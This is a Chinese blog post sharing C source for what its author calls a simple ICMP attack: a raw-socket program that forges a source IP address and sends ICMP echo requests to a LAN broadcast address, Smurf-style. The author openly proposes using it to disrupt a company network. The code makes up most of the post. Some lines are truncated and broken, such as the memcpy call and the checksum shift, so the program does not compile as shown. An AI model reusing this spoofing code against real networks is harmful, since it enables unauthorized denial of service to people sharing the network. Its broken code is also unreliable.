`
malixxx
  • 浏览: 100535 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

简单的icmp攻击

阅读更多
由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.
我是在ubuntu8.04下的,需要gcc编译.

修改了一些,加添了广播,可发给255,我感觉会把局域网弄乱的  呵呵.

#include <stdio.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <stdlib.h>
#include<netinet/in.h>

unsigned short csum(unsigned short *packet, int packlen);
unsigned short tcpcsum(unsigned char *iphdr, unsigned short *packet, int packlen);
unsigned short in_cksum(unsigned short *addr, int len);

//校验和涵数 ip头
unsigned short csum(unsigned short *packet, int packlen) {
    register unsigned long sum = 0;
    while (packlen > 1) {
        sum += *(packet++);
        packlen -= 2;
    }
    if (packlen > 0)
        sum += *(unsigned char *) packet;
    while (sum >> 16)
        sum = (sum & 0xffff) + (sum >> 16);

    return (unsigned short) ~sum;
}

//校验和涵数 tcp头
unsigned short tcpcsum(unsigned char *iphdr, unsigned short *packet, int packlen) {
    unsigned short *buf;
    unsigned short res;
    buf = malloc(packlen + 12);
    if (buf == NULL)
        return 0;
    memcpy(buf, iphdr + 12,; //源IP地址和目标IP地址
    *(buf + 4) = htons((unsigned short) (*(iphdr + 9)));
    *(buf + 5) = htons((unsigned short) packlen);
    memcpy(buf + 6, packet, packlen);
    res = csum(buf, packlen + 12);
    free(buf);
    return res;
}

//校验和涵数icmp头
unsigned short in_cksum(unsigned short *addr, int len) {
    int sum = 0;
    unsigned short res = 0;
    while (len > 1) {
        sum += *addr++;
        len -= 2;
    }
    if (len == 1) {
        *((unsigned char *) (&res)) = *((unsigned char *) addr);
        sum += res;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    res = ~sum;
    return res;
}

int main(int argc, char *argv[]) {
    int sock, bytes_send;
    struct sockaddr_in sin;



    struct ip *iphead;
    struct icmp *icmphead;
    char *packet;
    int pktsize = sizeof(struct ip) + sizeof(struct icmp) + 64;

    packet = malloc(pktsize);
    iphead = (struct ip *) packet;
    icmphead = (struct icmp *) (packet + sizeof(struct ip));

    memset(packet, 0, pktsize);

    printf("create socket\r\n");
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr("192.168.0.255"); //被攻击者的ip
    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

    if (sock > 0) {
        printf("socket ok\n");
    } else {
        printf("socket error \n");
    }

    //IP_HDRINCL 在数据包中包含IP首部 int 这个选项常用于黑客技术中,隐藏自己的IP地址
    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &pktsize, sizeof(pktsize)) < 0) {
        printf("2");
        perror("IP_HDRINCL");
        exit(1);
    }

    const int on = 1;//设定常量,用于打开广播模式
    //设定该接口上的广播模式
    if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {
        printf("2");
        perror("IP_HDRINCL");
        exit(1);
    }

    printf("create iphead\r\n");
    iphead->ip_v = 4;
    iphead->ip_hl = 5;
    iphead->ip_tos = 0x00;
    iphead->ip_len = htons(pktsize);
    iphead->ip_id = htons(getpid());
    iphead->ip_off = 0;
    iphead->ip_ttl = 0x0;
    iphead->ip_p = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    inet_aton("192.168.0.182", &iphead->ip_src);//假冒的ip
    inet_aton("192.168.0.255", &iphead->ip_dst);//被攻击者的ip

    printf("create icmphead\r\n");
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0;
    icmphead->icmp_cksum = htons(~(ICMP_ECHO <<);

    iphead->ip_sum = csum(iphead, sizeof(struct ip));
    icmphead->icmp_cksum = in_cksum(icmphead, sizeof(struct icmp));

    printf("start send\r\n");

    int j;
    int i = 1;
    while (i > 0) {
        sendto(sock, packet, pktsize, 0, (struct sockaddr *) &sin, sizeof(sin));
        printf("sending\r\n");
        i--;
    }
    free(packet);
    printf("end send\r\n");
    return 0;
}
/*
*如果我们往广播地址发送一个ICMP ECHO报文(就是Ping广播地址一下),结果会得到非常多的回应,
*如果我们往广播地址发送一个ICMP 以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY,
*如果我们往广播地址发送一个ICMP 如果你想试验,可以在unix的机器上Ping一下你局域网的广播地址,
*如果我们往广播地址发送一个ICMP 会看到很多回应的的dup包,就是重复的应答
*root@test5:/home/malitest/mysocketTest# ping 192.168.0.255 -b
WARNING: pinging broadcast address
PING 192.168.0.255 (192.168.0.255) 56(84) bytes of data.
64 bytes from 192.168.0.4: icmp_seq=1 ttl=64 time=0.262 ms
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=1.13 ms (DUP!)
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=1.17 ms (DUP!)
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.183 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.200 ms (DUP!)
64 bytes from 192.168.0.4: icmp_seq=2 ttl=64 time=0.242 ms (DUP!)
64 bytes from 192.168.0.2: icmp_seq=3 ttl=64 time=0.163 ms
64 bytes from 192.168.0.2: icmp_seq=3 ttl=64 time=0.178 ms (DUP!)
64 bytes from 192.168.0.4: icmp_seq=3 ttl=64 time=0.198 ms (DUP!)
*
* windows系统上不会有这样的结果,因为微软的Ping程序不对多个回应进行解包(所以我收不到重复的包了),收到第一个包以后就丢弃后面的了,
* 同样微软的系统默认也不回应广播地址的包
*
* windows防火墙 高级——>本地连接——>设置——>ICMP
* */
分享到:
评论

相关推荐

    ICMP.Ping.zip_Go_ Go_ Go!_icmp attack

    在描述中,“icmp attack source code downlaod source go”进一步确认了这是一个用于下载的ICMP攻击源代码,该代码是用Go语言编写的。ICMP攻击通常指的是利用ICMP协议进行的恶意活动,如拒绝服务(DoS)攻击或ping...

    利用RawSocket实现简单的Ping程序 ICMP协议

    需要注意的是,虽然Raw Socket提供底层访问,但过度使用或滥用可能导致安全问题,如拒绝服务攻击。因此,在实际应用中应谨慎使用,并遵循相应的安全规范。 总的来说,理解并掌握如何利用Raw Socket和ICMP协议编写...

    ICMP协议之time实现

    - 虽然NTP(Network Time Protocol)通常用于更精确的网络时间同步,但ICMP时间戳可以在某些情况下提供基本的时间参考,尤其是对于那些不支持NTP或者网络环境较为简单的系统。 3. **安全分析**: - 在网络安全...

    一种基于ICMP的逻辑层网络拓扑发现与分析方法.pdf

    - **安全性问题**:频繁使用ICMP报文可能会引起网络安全方面的担忧,如可能导致DDoS攻击等。 - **准确性受限**:ICMP报文的响应依赖于目标主机的配置,如果某些主机被配置为忽略或阻止ICMP报文,则会影响发现的准确...

    网络协议分析文档教程-【ICMP重定向】.pdf

    然而,由于它也能被恶意利用,因此了解其工作原理,以及如何通过各种手段防范ICMP重定向攻击,对于网络管理员来说是十分必要的。通过上述的实验操作,能够帮助理解ICMP重定向报文的原理和作用,以及在实际网络环境中...

    利用ICMP实现的简单IP网段查询器

    5. **安全性考虑**:因为ICMP可以被用于DoS攻击,所以这个工具可能需要设置一些限制,如查询速率控制,避免对目标网络造成压力。 总的来说,"利用ICMP实现的简单IP网段查询器"是一个实用的网络管理工具,通过解析...

    icmp网络层协议的相关介绍

    4. **流量控制**:在某些情况下,ICMP可以用来进行简单的流量控制,例如,通过发送"源抑制"消息来通知源主机减缓数据发送速率。 **ICMP协议的重要性** ICMP协议对于网络安全有着显著的影响。一方面,它有助于识别...

    什么是拒绝服务攻击.doc

    懂得网络的人都知道我们常用Ping命令来检查网络是否畅通的一个简单的手段,可是这个Ping也能给Windows系统带来不可预测的灾难,那就是Ping入侵即是ICMP入侵,...所以这里我们要详细讨论一下ICMP攻击方法及防范措施。

    网络攻击常用手段介绍-200310-c.pdf

    通过对上述网络攻击手段的详细介绍,我们可以看到网络攻击者使用的策略多种多样,从简单的扫描窥探到复杂的畸形报文攻击,每一种都有其独特的实施方法和效果。对于网络安全防御者而言,理解这些攻击手段的工作原理...

    ICMP协议改进研究及其抓包工具设计

    - **网络安全监测**:检测网络攻击行为,如拒绝服务攻击、恶意软件传播等。 - **性能分析**:评估网络带宽利用率、延迟等问题,优化网络性能。 - **故障排查**:定位网络故障原因,快速解决问题。 #### 三、ICMP...

    穿盾DDos攻击流量监控器 v1.0

    软件介绍 穿盾ddos监控器是穿盾ddos科技推出的一款专门...可查看SYN、ACK、碎片、UDP、ICMP攻击的攻击频率方便站长与服务器管理员观看自己的网络状况 是否遭受DDOS攻击,让站长快速分辨网络状态及时处理ddos攻击故障

    控制报文协议详细介绍

    为了防止ICMP攻击,网络管理员可以通过配置路由器和主机上的安全规则来限制ICMP包的流量,例如通过带宽限制或者直接拒绝ICMP包的规则。通过这些措施,可以最大限度地减少ICMP攻击带来的负面影响,并维护网络的稳定和...

    简介基于洪泛法的分布式拒绝服务攻击及其防范措施.pdf

    单源攻击是指攻击者利用单台计算机对目标发起攻击,其特点是实施简单但防御相对容易,例如,可以通过设置防火墙规则来阻止来自攻击源IP地址的流量。多源攻击则是由多个不同的源(通常是被感染的计算机)向目标发送...

    一些常用的网络攻击命令

    - Ping 是一个简单的网络诊断工具,通过发送 ICMP 回显请求来检测目标主机是否可达。如果收到回显应答,说明网络连接正常。 6. **Traceroute**: - Traceroute 用于追踪数据包从源到目的地经过的路由器路径,揭示...

    VC1003ICMP协议分析及其在网络扫描中的应用2[收集].pdf

    例如,实现一个简单的PING工具,可以通过调用ICMP.DLL动态链接库,发送ICMP回显请求报文,然后解析收到的回显应答报文,从而确定主机的网络连通性,同时获取主机名和IP地址。 总的来说,ICMP协议在网络扫描中的作用...

    flushwifi:一个为OSX编写的简单脚本,用于重新启动所有网络接口,清除ARP缓存和刷新路由。 还包括MAC随机化和免受ICMP重定向攻击的保护

    还增加了针对ICMP重定向攻击的保护,而OSX不会将其存储为永久设置,因此需要在每次启动时运行它: sysctl -w net.inet.icmp.drop_redirect=1需要使用Spoof-mac才能利用MAC欺骗功能。 在这里得到它: ###安装并运行...

    ARP攻击在计算机网络中的防范策略研究.pdf

    四是禁用ICMP(Internet Control Message Protocol)在注册表中,阻止ICMP路由报文,减少攻击途径。五是使用ARP防火墙,确保网关MAC地址的正确性,主动防御ARP攻击。最后,还可以利用Socket程序开发防御工具,当检测...

    网络攻防期末考试精选简答题.pdf

    DoS攻击核心是消耗目标资源,如通过IP分片攻击(泪滴攻击)、ICMP(如Ping of Death)等方法。攻击者可以利用各种协议(如ICMP、IP、UDP、TCP等)发动风暴型DoS攻击。 【木马植入技术】 木马植入包括主动和被动两...

    Python程序设计:python mac泛洪攻击.pptx

    以下是一个简单的Python MAC泛洪攻击的示例代码片段: ```python from scapy.all import Ether, IP, ICMP, RandMAC, RandIP def mac_flooding(target_ip, target_mac): while True: # 构造数据包 packet = ...

    《网络安全编程技术与实例》配套源代码

    同时,了解ICMP的原理可以帮助我们识别和防止ICMP攻击,如ICMP风暴。 5. 局域网攻击:书中的实例可能涉及到各种局域网攻击技术,如嗅探、中间人攻击、DoS(拒绝服务)攻击等。通过这些源代码,我们可以学习如何预防...

Global site tag (gtag.js) - Google Analytics